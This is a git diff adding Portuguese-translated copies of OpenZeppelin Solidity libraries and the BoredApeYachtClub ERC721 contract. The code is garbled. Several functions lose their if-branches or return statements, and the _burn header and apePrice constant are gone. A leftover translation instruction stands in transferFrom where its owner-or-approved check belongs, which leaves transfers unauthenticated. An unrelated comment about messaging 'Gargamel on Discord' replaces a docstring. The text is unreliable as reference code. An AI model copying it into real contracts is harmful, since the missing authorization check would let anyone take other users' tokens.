address value) internal view returns (bool) { + return _contains(set._inner, bytes32(uint256(uint160(value)))); + } + + /** + * @dev Retorna o número de valores no conjunto. O(1). + */ + function length(AddressSet storage set) internal view returns (uint256) { + return _length(set._inner); + } + + /** + * @dev Retorna o valor armazenado na posição `index` no conjunto. O(1). + * + * Observe que não há garantias sobre a ordem dos valores dentro do + * array, e isso pode mudar quando mais valores forem adicionados ou removidos. + * + * Requisitos: + * + * - `index` deve ser estritamente menor que {length}. + */ + function at(AddressSet storage set, uint256 index) internal view returns (address) { + return address(uint160(uint256(_at(set._inner, index)))); + } + + + // UintSet + + struct UintSet { + Set _inner; + } + + /** + * @dev Adicione um valor a um conjunto. O(1). + * + * Retorna verdadeiro se o valor foi adicionado ao conjunto, ou seja, se ele não + * já estava presente. + */ + function add(UintSet storage set, uint256 value) internal returns (bool) { + return _add(set._inner, bytes32(value)); + } + + /** + * @dev Remove um valor de um conjunto. O(1). + * + * Retorna true se o valor foi removido do conjunto, ou seja, se ele estava presente. + */ + */ + function remove(UintSet storage set, uint256 value) internal returns (bool) { + return _remove(set._inner, bytes32(value)); + } + + /** + * @dev Retorna verdadeiro se o valor estiver no conjunto. O(1). + */ + function contains(UintSet storage set, uint256 value) internal view returns (bool) { + return _contains(set._inner, bytes32(value)); + } + + /** + * @dev Retorna o número de valores no conjunto. O(1). + */ + function length(UintSet storage set) internal view returns (uint256) { + return _length(set._inner); + } + + /** + * @dev Retorna o valor armazenado na posição `index` no conjunto. O(1). + * + * Observe que não há garantias sobre a ordem dos valores dentro do + * array, e isso pode mudar quando mais valores forem adicionados ou removidos. + * + * Requisitos: + * + * - `index` deve ser estritamente menor que {length}. + */ + function at(UintSet storage set, uint256 index) internal view returns (uint256) { + return uint256(_at(set._inner, index)); + } +} + +// Arquivo: @openzeppelin/contracts/utils/EnumerableMap.sol + + + +pragma solidity >=0.6.0 <0.8.0; + +/** + * @dev Biblioteca para gerenciar uma variante enumerável do tipo + * https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`] do Solidity. + * + * Os mapas têm as seguintes propriedades: + * + * - Entradas são adicionadas, removidas e verificadas em tempo constante + * (O(1)). + * - As entradas são enumeradas em O(n). Não há garantias sobre a ordem. + * + * ``` + * contract Example { + * // Adicione os métodos da biblioteca + * using EnumerableMap for EnumerableMap.UintToAddressMap; + * + * // Declare uma variável de estado do tipo conjunto + * EnumerableMap.UintToAddressMap private myMap; + * } + * ``` + * + * A partir da versão 3.0.0, apenas mapas do tipo `uint256 -> address` (`UintToAddressMap`) são suportados. + */ + * supported. + */ +library EnumerableMap { + // Para implementar esta biblioteca para vários tipos com o mínimo de código + // repetição, se possível, escrevemos em termos de um tipo genérico Map com + // bytes32 chaves e valores. + // A implementação do Map utiliza funções privadas e voltadas para o usuário. + // implementações (como Uint256ToAddressMap) são apenas invólucros em torno de + // o Map subjacente. + // Isso significa que só podemos criar novos EnumerableMaps para tipos que se encaixam + // em bytes32. + + struct MapEntry { + bytes32 _key; + bytes32 _value; + } + + struct Map { + // Armazenamento das chaves e valores do mapa + MapEntry[] _entries; + + // Posição da entrada definida por uma chave no array `entries`, mais 1 + // porque o índice 0 significa que uma chave não está no mapa. + mapping (bytes32 => uint256) _indexes; + } + + /** + * @dev Adiciona um par chave-valor a um mapa, ou atualiza o valor para uma chave existente + * chave. O(1). + * + * Retorna true se a chave foi adicionada ao mapa, ou seja, se ela não estava + * presente anteriormente. + */ + function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) { + // Nós lemos e armazenamos o índice da chave para evitar múltiplas leituras do mesmo slot de armazenamento + uint256 keyIndex = map._indexes[key]; + + // Equivalente a !contém(mapa, chave) + map._entries.push(MapEntry({ _key: key, _value: value })); + // A entrada é armazenada no comprimento-1, mas adicionamos 1 a todos os índices + // e use 0 como valor sentinela + map._indexes[key] = map._entries.length; + return true; + } else { + map._entries[keyIndex - 1]._value = value; + return false; + } + } + + /** + * @dev Remove um par chave-valor de um mapa. O(1). + * + * Retorna true se a chave foi removida do mapa, ou seja, se ela estava presente. + */ + function _remove(Map storage map, bytes32 key) private returns (bool) { + // Nós lemos e armazenamos o índice da chave para evitar múltiplas leituras do mesmo slot de armazenamento + uint256 keyIndex = map._indexes[key]; + + // Equivalente a contém(mapa, chave) + // Para excluir um par chave-valor do array _entries em O(1), trocamos a entrada a ser excluída pela última + // no array, e então remover a última entrada (às vezes chamada de 'swap and pop'). + // Isso modifica a ordem do array, como observado em {at}. + + uint256 toDeleteIndex = keyIndex - 1; + uint256 lastIndex = map._entries.length - 1; + + // Quando a entrada a ser excluída é a última, a operação de troca é desnecessária. No entanto, como isso ocorre + // tão raramente, ainda fazemos a troca de qualquer maneira para evitar o custo de gás de adicionar uma declaração 'if'. + + MapEntry storage lastEntry = map._entries[lastIndex]; + + // Mova a última entrada para o índice onde a entrada a ser excluída está + map._entries[toDeleteIndex] = lastEntry; + // Atualize o índice para a entrada movida + // Todos os índices são baseados em 1 + + // Excluir o slot onde a entrada movida estava armazenada + map._entries.pop(); + + // Excluir o índice para o slot excluído + delete map._indexes[key]; + + return true; + } else { + return false; + } + } + + /** + * @dev Retorna verdadeiro se a chave estiver no mapa. O(1). + */ + function _contains(Map storage map, bytes32 key) private view returns (bool) { + return map._indexes[key] != 0; + } + + /** + * @dev Retorna o número de pares chave-valor no mapa. O(1). + */ + function _length(Map storage map) private view returns (uint256) { + return map._entries.length; + } + + /** + * @dev Retorna o par chave-valor armazenado na posição `index` no mapa. O(1). + * + * Observe que não há garantias sobre a ordem das entradas dentro do + * array, e isso pode mudar quando mais entradas forem adicionadas ou removidas. + * + * Requisitos: + * + * - `index` deve ser estritamente menor que {length}. + */ + function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) { + require(map._entries.length > index, "EnumerableMap: index out of bounds"); + + MapEntry storage entry = map._entries[index]; + return (entry._key, entry._value); + } + + /** + * @dev Tenta retornar o valor associado à `key`. O(1). + * Não reverte se `key` não estiver no mapa. + */ + function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) { + uint256 keyIndex = map._indexes[key]; + // Equivalente a contém(mapa, chave) + // Todos os índices são baseados em 1 + } + + /** + * @dev Retorna o valor associado à `key`. O(1). + * + * Requisitos: + * + * - `key` deve estar no mapa. + */ + function _get(Map storage map, bytes32 key) private view returns (bytes32) { + uint256 keyIndex = map._indexes[key]; + // Equivalente a contém(mapa, chave) + // Todos os índices são baseados em 1 + } + + /** + * @dev Mesmo que {_get}, com uma mensagem de erro personalizada quando `key` não está no mapa. + * + * CUIDADO: Esta função está obsoleta porque requer alocar memória para a mensagem de erro + * desnecessariamente. Para motivos de revert personalizados, use {_tryGet}. + */ + function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) { + uint256 keyIndex = map._indexes[key]; + // Equivalente a contém(mapa, chave) + // Todos os índices são baseados em 1 + } + + // UintToAddressMap + + struct UintToAddressMap { + Map _inner; + } + + /** + * @dev Adiciona um par chave-valor a um mapa, ou atualiza o valor para uma chave existente + * chave. O(1). + * + * Retorna true se a chave foi adicionada ao mapa, ou seja, se ela não estava + * presente anteriormente. + */ + function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) { + return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value)))); + } + + /** + * @dev Remove um valor de um conjunto. O(1). + * + * Retorna true se a chave foi removida do mapa, ou seja, se ela estava presente. + */ + function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) { + return _remove(map._inner, bytes32(key)); + } + + /** + * @dev Retorna verdadeiro se a chave estiver no mapa. O(1). + */ + function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) { + return _contains(map._inner, bytes32(key)); + } + + /** + * @dev Retorna o número de elementos no mapa. O(1). + */ + function length(UintToAddressMap storage map) internal view returns (uint256) { + return _length(map._inner); + } + + /** + * @dev Retorna o elemento armazenado na posição `index` no conjunto. O(1). + * Observe que não há garantias sobre a ordem dos valores dentro do + * array, e isso pode mudar quando mais valores forem adicionados ou removidos. + * + * Requisitos: + * + * - `index` deve ser estritamente menor que {length}. + */ + function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) { + (bytes32 key, bytes32 value) = _at(map._inner, index); + return (uint256(key), address(uint160(uint256(value)))); + } + + /** + * @dev Tenta retornar o valor associado à `key`. O(1). + * Não reverte se `key` não estiver no mapa. + * + * _Disponível desde a versão 3.4._ + */ + function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) { + (bool success, bytes32 value) = _tryGet(map._inner, bytes32(key)); + return (success, address(uint160(uint256(value)))); + } + + /** + * @dev Retorna o valor associado à `key`. O(1). + * + * Requisitos: + * + * - `key` deve estar no mapa. + */ + function get(UintToAddressMap storage map, uint256 key) internal view returns (address) { + return address(uint160(uint256(_get(map._inner, bytes32(key))))); + } + + /** + * @dev Mesmo que {get}, com uma mensagem de erro personalizada quando `key` não está no mapa. + * + * CUIDADO: Esta função está obsoleta porque requer alocar memória para a mensagem de erro + * desnecessariamente. Para motivos de revert personalizados, use {tryGet}. + */ + function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) { + return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage)))); + } +} + +// Arquivo: @openzeppelin/contracts/utils/Strings.sol + + + +pragma solidity >=0.6.0 <0.8.0; + +/** + * @dev Operações de string. + */ +library Strings { + /** + * @dev Converte um `uint256` para sua representação `string` em ASCII. + */ + function toString(uint256 value) internal pure returns (string memory) { + // Inspirado na implementação da OraclizeAPI - licença MIT + // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol + + if (value == 0) { + return "0"; + } + uint256 temp = value; + uint256 digits; + while (temp != 0) { + digits++; + temp /= 10; + } + bytes memory buffer = new bytes(digits); + uint256 index = digits - 1; + temp = value; + while (temp != 0) { + buffer[index--] = bytes1(uint8(48 + temp % 10)); + temp /= 10; + } + return string(buffer); + } +} + +// Arquivo: @openzeppelin/contracts/token/ERC721/ERC721.sol + + + +pragma solidity >=0.6.0 <0.8.0; + + + + + + + + + + + + +/** + * @title Implementação básica do padrão de token não fungível ERC721 + * @dev veja https://eips.ethereum.org/EIPS/eip-721 + */ +contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { + using SafeMath for uint256; + using Address for address; + using EnumerableSet for EnumerableSet.UintSet; + using EnumerableMap for EnumerableMap.UintToAddressMap; + using Strings for uint256; + + // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` + // que também pode ser obtido como `IERC721Receiver(0).onERC721Received.selector` + bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; + + // Mapeamento do endereço do titular para seu conjunto (enumerável) de tokens possuídos + mapping (address => EnumerableSet.UintSet) private _holderTokens; + + // Mapeamento enumerável de IDs de tokens para seus proprietários + EnumerableMap.UintToAddressMap private _tokenOwners; + + // Mapeamento do ID do token para o endereço aprovado + mapping (uint256 => address) private _tokenApprovals; + + // Mapeamento do proprietário para aprovações do operador + mapping (address => mapping (address => bool)) private _operatorApprovals; + + // Nome do token + string private _name; + + // Símbolo do token + string private _symbol; + + // Mapeamento opcional para URIs de token + mapping (uint256 => string) private _tokenURIs; + + // Base URI + string private _baseURI; + + /* + * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 + * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e + * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 + * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc + * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 + * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 + * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd + * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e + * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde + * + * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ + * 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd + */ + bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; + + /* + * bytes4(keccak256('name()')) == 0x06fdde03 + * bytes4(keccak256('symbol()')) == 0x95d89b41 + * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd + * + * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f + */ + bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; + + /* + * bytes4(keccak256('totalSupply()')) == 0x18160ddd + * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 + * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 + * + * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 + */ + bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; + + /** + * @dev Inicializa o contrato definindo um `nome` e um `símbolo` para a coleção de tokens. + */ + constructor (string memory name_, string memory symbol_) public { + _name = name_; + _symbol = symbol_; + + // registrar as interfaces suportadas para conformar com ERC721 via ERC165 + _registerInterface(_INTERFACE_ID_ERC721); + _registerInterface(_INTERFACE_ID_ERC721_METADATA); + _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); + } + + /** + * @dev Veja {IERC721-balanceOf}. + */ + function balanceOf(address owner) public view virtual override returns (uint256) { + require(owner != address(0), "ERC721: balance query for the zero address"); + return _holderTokens[owner].length(); + } + + /** + * @dev Veja {IERC721-ownerOf}. + */ + function ownerOf(uint256 tokenId) public view virtual override returns (address) { + return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token"); + } + + /** + * @dev Veja {IERC721Metadata-name}. + */ + function name() public view virtual override returns (string memory) { + return _name; + } + + /** + * @dev Veja {IERC721Metadata-symbol}. + */ + function symbol() public view virtual override returns (string memory) { + return _symbol; + } + + /** + * @dev Veja {IERC721Metadata-tokenURI}. + */ + function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { + require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); + + string memory _tokenURI = _tokenURIs[tokenId]; + string memory base = baseURI(); + + // Se não houver um URI base, retorne o URI do token. + if (bytes(base).length == 0) { + return _tokenURI; + } + // Se ambos estiverem definidos, concatene o baseURI e tokenURI (via abi.encodePacked). + if (bytes(_tokenURI).length > 0) { + return string(abi.encodePacked(base, _tokenURI)); + } + // Se houver um baseURI, mas não houver tokenURI, concatene o tokenID ao baseURI. + return string(abi.encodePacked(base, tokenId.toString())); + } + + /** + * @dev Retorna o URI base definido via {_setBaseURI}. Isso será + * automaticamente adicionado como prefixo em {tokenURI} para o URI de cada token, ou + * para o ID do token se nenhum URI específico for definido para esse ID de token. + */ + function baseURI() public view virtual returns (string memory) { + return _baseURI; + } + + /** + * @dev Veja {IERC721Enumerable-tokenOfOwnerByIndex}. + */ + function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { + return _holderTokens[owner].at(index); + } + + /** + * @dev Veja {IERC721Enumerable-totalSupply}. + */ + function totalSupply() public view virtual override returns (uint256) { + // _tokenOwners são indexados por tokenIds, então .length() retorna o número de tokenIds + return _tokenOwners.length(); + } + + /** + * @dev Veja {IERC721Enumerable-tokenByIndex}. + */ + function tokenByIndex(uint256 index) public view virtual override returns (uint256) { + (uint256 tokenId, ) = _tokenOwners.at(index); + return tokenId; + } + + /** + * @dev Veja {IERC721-approve}. + */ + function approve(address to, uint256 tokenId) public virtual override { + address owner = ERC721.ownerOf(tokenId); + require(to != owner, "ERC721: approval to current owner"); + + require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()), + "ERC721: approve caller is not owner nor approved for all" + ); + + _approve(to, tokenId); + } + + /** + * @dev Veja {IERC721-getApproved}. + */ + function getApproved(uint256 tokenId) public view virtual override returns (address) { + require(_exists(tokenId), "ERC721: approved query for nonexistent token"); + + return _tokenApprovals[tokenId]; + } + + /** + * @dev Veja {IERC721-setApprovalForAll}. + */ + function setApprovalForAll(address operator, bool approved) public virtual override { + require(operator != _msgSender(), "ERC721: approve to caller"); + + _operatorApprovals[_msgSender()][operator] = approved; + emit ApprovalForAll(_msgSender(), operator, approved); + } + + /** + * @dev Veja {IERC721-isApprovedForAll}. + */ + function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { + return _operatorApprovals[owner][operator]; + } + + /** + * @dev Veja {IERC721-transferFrom}. + */ + function transferFrom(address from, address to, uint256 tokenId) public virtual override { + //solhint-disable-next-line max-line-length + Se o texto contiver alguma parte em 'zh', traduza todo o texto para 'pt-br', caso contrário, mantenha o texto original. + + _transfer(from, to, tokenId); + } + + /** + * @dev Veja {IERC721-safeTransferFrom}. + */ + function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { + safeTransferFrom(from, to, tokenId, ""); + } + + /** + * @dev Veja {IERC721-safeTransferFrom}. + */ + function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { + require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); + _safeTransfer(from, to, tokenId, _data); + } + + /** + * @dev Transfere com segurança o token `tokenId` de `from` para `to`, verificando primeiro se os destinatários do contrato + * estão cientes do protocolo ERC721 para evitar que os tokens fiquem bloqueados para sempre. + * + * `_data` é um dado adicional, não possui um formato especificado e é enviado na chamada para `to`. + * + * Esta função interna é equivalente a {safeTransferFrom} e pode ser usada, por exemplo, + * para implementar mecanismos alternativos para realizar a transferência de tokens, como baseados em assinatura. + * + * Requisitos: + * + * - `from` não pode ser o endereço zero. + * - `to` não pode ser o endereço zero. + * - O token `tokenId` deve existir e ser de propriedade de `from`. + * - Se `to` se refere a um contrato inteligente, ele deve implementar {IERC721Receiver-onERC721Received}, que é chamado durante uma transferência segura. + * + * Emite um evento {Transfer}. + */ + function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { + _transfer(from, to, tokenId); + require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); + } + + /** + * @dev Retorna se o `tokenId` existe. + * + * Tokens podem ser gerenciados pelo seu proprietário ou contas aprovadas através de {approve} ou {setApprovalForAll}. + * + * Tokens começam a existir quando são criados (`_mint`), + * e param de existir quando são queimados (`_burn`). + */ + function _exists(uint256 tokenId) internal view virtual returns (bool) { + return _tokenOwners.contains(tokenId); + } + + /** + * @dev Retorna se `spender` está autorizado a gerenciar `tokenId`. + * + * Requisitos: + * + * - `tokenId` deve existir. + */ + function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { + require(_exists(tokenId), "ERC721: operator query for nonexistent token"); + address owner = ERC721.ownerOf(tokenId); + return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender)); + } + + /** + * @dev Seguramente cria `tokenId` e transfere-o para `to`. + * + * Requisitos: + * + * - `tokenId` não deve existir. + * - Se `to` se refere a um contrato inteligente, ele deve implementar {IERC721Receiver-onERC721Received}, que é chamado durante uma transferência segura. + * + * Emite um evento {Transfer}. + */ + function _safeMint(address to, uint256 tokenId) internal virtual { + _safeMint(to, tokenId, ""); + } + + /** + * @dev Mesmo que {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], com um parâmetro adicional `data` que é + * encaminhado em {IERC721Receiver-onERC721Received} para os destinatários do contrato. + */ + function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { + _mint(to, tokenId); + require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); + } + + /** + * @dev Emite um novo token `tokenId` e transfere-o para `to`. + * + * AVISO: O uso deste método é desencorajado, use {_safeMint} sempre que possível. + * + * Requisitos: + * + * - `tokenId` não deve existir. + * - `to` não pode ser o endereço zero. + * + * Emite um evento {Transfer}. + */ + function _mint(address to, uint256 tokenId) internal virtual { + require(to != address(0), "ERC721: mint to the zero address"); + require(!_exists(tokenId), "ERC721: token already minted"); + + _beforeTokenTransfer(address(0), to, tokenId); + + _holderTokens[to].add(tokenId); + + _tokenOwners.set(tokenId, to); + + emit Transfer(address(0), to, tokenId); + } + + /** + * @dev Destroys `tokenId`. + * The approval is cleared when the token is burned. + * + * Requirements: + * + * - `tokenId` must exist. + * + * Emits a {Transfer} event. + */ + /** + * @dev Destroys `tokenId`. + * A aprovação é limpa quando o token é queimado. + * + * Requisitos: + * + * - `tokenId` deve existir. + * + * Emite um evento {Transfer}. + */ + delete _tokenURIs[tokenId]; + } + + _holderTokens[owner].remove(tokenId); + + _tokenOwners.remove(tokenId); + + emit Transfer(owner, address(0), tokenId); + } + + /** + * @dev Transfere `tokenId` de `from` para `to`. + * Ao contrário de {transferFrom}, isso não impõe restrições ao msg.sender. + * + * Requisitos: + * + * - `to` não pode ser o endereço zero. + * - O token `tokenId` deve ser de propriedade de `from`. + * + * Emite um evento {Transfer}. + */ + function _transfer(address from, address to, uint256 tokenId) internal virtual { + // internal owner + require(to != address(0), "ERC721: transfer to the zero address"); + + _beforeTokenTransfer(from, to, tokenId); + + // Limpar aprovações do proprietário anterior + _approve(address(0), tokenId); + + _holderTokens[from].remove(tokenId); + _holderTokens[to].add(tokenId); + + _tokenOwners.set(tokenId, to); + + emit Transfer(from, to, tokenId); + } + + /** + * @dev Define `_tokenURI` como o tokenURI de `tokenId`. + * + * Requisitos: + * + * - `tokenId` deve existir. + */ + function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { + require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token"); + _tokenURIs[tokenId] = _tokenURI; + } + + /** + * @dev Função interna para definir o URI base para todos os IDs de token. É + * automaticamente adicionado como um prefixo ao valor retornado em {tokenURI}, + * ou ao ID do token se {tokenURI} estiver vazio. + */ + function _setBaseURI(string memory baseURI_) internal virtual { + _baseURI = baseURI_; + } + + /** + * @dev Função interna para invocar {IERC721Receiver-onERC721Received} em um endereço de destino. + * A chamada não é executada se o endereço de destino não for um contrato. + * + * @param from endereço que representa o proprietário anterior do token ID fornecido + * @param to endereço de destino que receberá os tokens + * @param tokenId uint256 ID do token a ser transferido + * @param _data bytes dados opcionais a serem enviados junto com a chamada + * @return bool se a chamada retornou corretamente o valor mágico esperado + */ + function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) + private returns (bool) + { + if (!to.isContract()) { + return true; + } + bytes memory returndata = to.functionCall(abi.encodeWithSelector( + IERC721Receiver(to).onERC721Received.selector, + _msgSender(), + from, + tokenId, + _data + ), "ERC721: transfer to non ERC721Receiver implementer"); + bytes4 retval = abi.decode(returndata, (bytes4)); + return (retval == _ERC721_RECEIVED); + } + + /** + * @dev Aprova `to` para operar em `tokenId` + * + * Emite um evento {Approval}. + */ + function _approve(address to, uint256 tokenId) internal virtual { + _tokenApprovals[tokenId] = to; + // internal owner + } + + /** + * @dev Gancho que é chamado antes de qualquer transferência de token. Isso inclui a criação + * e queima. + * + * Condições de chamada: + * + * - Quando `from` e `to` não são zero, o `tokenId` de ``from`` será + * transferido para `to`. + * - Quando `from` é zero, `tokenId` será criado para `to`. + * - Quando `to` é zero, o `tokenId` de ``from`` será queimado. + * - `from` não pode ser o endereço zero. + * - `to` não pode ser o endereço zero. + * + * Para saber mais sobre ganchos, acesse xref:ROOT:extending-contracts.adoc#using-hooks[Usando Ganchos]. + */ + function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } +} + +// Arquivo: @openzeppelin/contracts/access/Ownable.sol + + + +pragma solidity >=0.6.0 <0.8.0; + +/** + * @dev Módulo de contrato que fornece um mecanismo básico de controle de acesso, onde + * há uma conta (um proprietário) que pode receber acesso exclusivo a + * funções específicas. + * + * Por padrão, a conta do proprietário será aquela que implanta o contrato. Isso + * pode ser alterado posteriormente com {transferOwnership}. + * + * Este módulo é usado por meio de herança. Ele disponibilizará o modificador + * `onlyOwner`, que pode ser aplicado às suas funções para restringir seu uso ao + * proprietário. + */ +abstract contract Ownable is Context { + address private _owner; + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + /** + * @dev Inicializa o contrato definindo o deployer como o proprietário inicial. + */ + constructor () internal { + address msgSender = _msgSender(); + _owner = msgSender; + emit OwnershipTransferred(address(0), msgSender); + } + + /** + * @dev Retorna o endereço do proprietário atual. + */ + function owner() public view virtual returns (address) { + return _owner; + } + + /** + * @dev Lança uma exceção se chamado por qualquer conta que não seja do proprietário. + */ + modifier onlyOwner() { + require(owner() == _msgSender(), "Ownable: caller is not the owner"); + _; + } + + /** + * @dev Deixa o contrato sem proprietário. Não será mais possível chamar + * funções `onlyOwner`. Só pode ser chamado pelo proprietário atual. + * + * NOTA: Renunciar à propriedade deixará o contrato sem um proprietário, + * removendo assim qualquer funcionalidade que esteja disponível apenas para o proprietário. + */ + function renounceOwnership() public virtual onlyOwner { + emit OwnershipTransferred(_owner, address(0)); + _owner = address(0); + } + + /** + * @dev Transfere a propriedade do contrato para uma nova conta (`newOwner`). + * Só pode ser chamado pelo proprietário atual. + */ + function transferOwnership(address newOwner) public virtual onlyOwner { + require(newOwner != address(0), "Ownable: new owner is the zero address"); + emit OwnershipTransferred(_owner, newOwner); + _owner = newOwner; + } +} + +// Arquivo: contracts/BoredApeYachtClub.sol + + +pragma solidity ^0.7.0; + + + +/** + * @title Contrato BoredApeYachtClub + * @dev Estende a implementação básica do padrão de token não fungível ERC721 + */ +contract BoredApeYachtClub is ERC721, Ownable { + using SafeMath for uint256; + + string public BAYC_PROVENANCE = ""; + + uint256 public startingIndexBlock; + + uint256 public startingIndex; + + //0.08 ETH + + uint public constant maxApePurchase = 20; + + uint256 public MAX_APES; + + bool public saleIsActive = false; + + uint256 public REVEAL_TIMESTAMP; + + constructor(string memory name, string memory symbol, uint256 maxNftSupply, uint256 saleStart) ERC721(name, symbol) { + MAX_APES = maxNftSupply; + REVEAL_TIMESTAMP = saleStart + (86400 * 9); + } + + function withdraw() public onlyOwner { + uint balance = address(this).balance; + msg.sender.transfer(balance); + } + + /** + * Defina alguns Bored Apes de lado + */ + function reserveApes() public onlyOwner { + uint supply = totalSupply(); + uint i; + for (i = 0; i < 30; i++) { + _safeMint(msg.sender, supply + i); + } + } + + /** + * Envie uma mensagem privada para Gargamel no Discord dizendo que você está bem atrás dele. + */ + function setRevealTimestamp(uint256 revealTimeStamp) public onlyOwner { + REVEAL_TIMESTAMP = revealTimeStamp; + } + + /* + * Defina a proveniência assim que for calculada + */ + function setProvenanceHash(string memory provenanceHash) public onlyOwner { + BAYC_PROVENANCE = provenanceHash; + } + + function setBaseURI(string memory baseURI) public onlyOwner { + _setBaseURI(baseURI); + } + + /* + * Pausar venda se estiver ativa, ativar se estiver pausada + */ + function flipSaleState() public onlyOwner { + saleIsActive = !saleIsActive; + } + + /** + * Mints Bored Apes + */ + function mintApe(uint numberOfTokens) public payable { + require(saleIsActive, "Sale must be active to mint Ape"); + require(numberOfTokens <= maxApePurchase, "Can only mint 20 tokens at a time"); + require(totalSupply().add(numberOfTokens) <= MAX_APES, "Purchase would exceed max supply of Apes"); + require(apePrice.mul(numberOfTokens) <= msg.value, "Ether value sent is not correct"); + + for(uint i = 0; i < numberOfTokens; i++) { + uint mintIndex = totalSupply(); + if (totalSupply() < MAX_APES) { + _safeMint(msg.sender, mintIndex); + } + } + + // Se não definimos o índice inicial e este é 1) o último token vendável ou 2) o primeiro token a ser vendido após + // o fim da pré-venda, defina o bloco de índice inicial + if (startingIndexBlock == 0 && (totalSupply() == MAX_APES || block.timestamp >= REVEAL_TIMESTAMP)) { + startingIndexBlock = block.number; + } + } + + /** + * Defina o índice inicial para a coleção + */ + function setStartingIndex() public { + require(startingIndex == 0, "Starting index is already set"); + require(startingIndexBlock != 0, "Starting index block must be set"); + + startingIndex = uint(blockhash(startingIndexBlock)) % MAX_APES; + // Apenas um caso de sanidade no pior cenário se esta função for chamada tarde (EVM armazena apenas os últimos 256 hashes de bloco) + if (block.number.sub(startingIndexBlock) > 255) { + startingIndex = uint(blockhash(block.number - 1)) % MAX_APES; + } + // Prevenir sequência padrão + if (startingIndex == 0) { + startingIndex = startingIndex.add(1); + } + } + + /** + * Defina o bloco de índice inicial para a coleção, essencialmente desbloqueando + * a definição do índice inicial + */ + function emergencySetStartingIndexBlock() public onlyOwner { + require(startingIndex == 0, "Starting index is already set"); + + startingIndexBlock = block.number; + } +} diff --git a/Languages/pt-br/Topics/ERC721/Context.sol b/Languages/pt-br/Topics/ERC721/Context.sol new file mode 100644 index 000000000..219e97c5a --- /dev/null +++ b/Languages/pt-br/Topics/ERC721/Context.sol @@ -0,0 +1,24 @@ +// SPDX-License-Identifier: MIT +// OpenZeppelin Contratos v4.4.1 (utils/Context.sol) + +pragma solidity ^0.8.0; + +/** + * @dev Fornece informações sobre o contexto de execução atual, incluindo o + * remetente da transação e seus dados. Embora essas informações estejam geralmente disponíveis + * através de msg.sender e msg.data, elas não devem ser acessadas de forma direta + * pois, ao lidar com meta-transações, a conta que envia e + * paga pela execução pode não ser o remetente real (do ponto de vista de um aplicativo). + * + * Este contrato é necessário apenas para contratos intermediários semelhantes a bibliotecas. + */ + */ +abstract contract Context { + function _msgSender() internal view virtual returns (address) { + return msg.sender; + } + + function _msgData() internal view virtual returns (bytes calldata) { + return msg.data; + } +} diff --git a/Languages/pt-br/Topics/ERC721/ERC165.sol b/Languages/pt-br/Topics/ERC721/ERC165.sol new file mode 100644 index 000000000..88d61484a --- /dev/null +++ b/Languages/pt-br/Topics/ERC721/ERC165.sol @@ -0,0 +1,29 @@ +// SPDX-License-Identifier: MIT +// OpenZeppelin Contratos 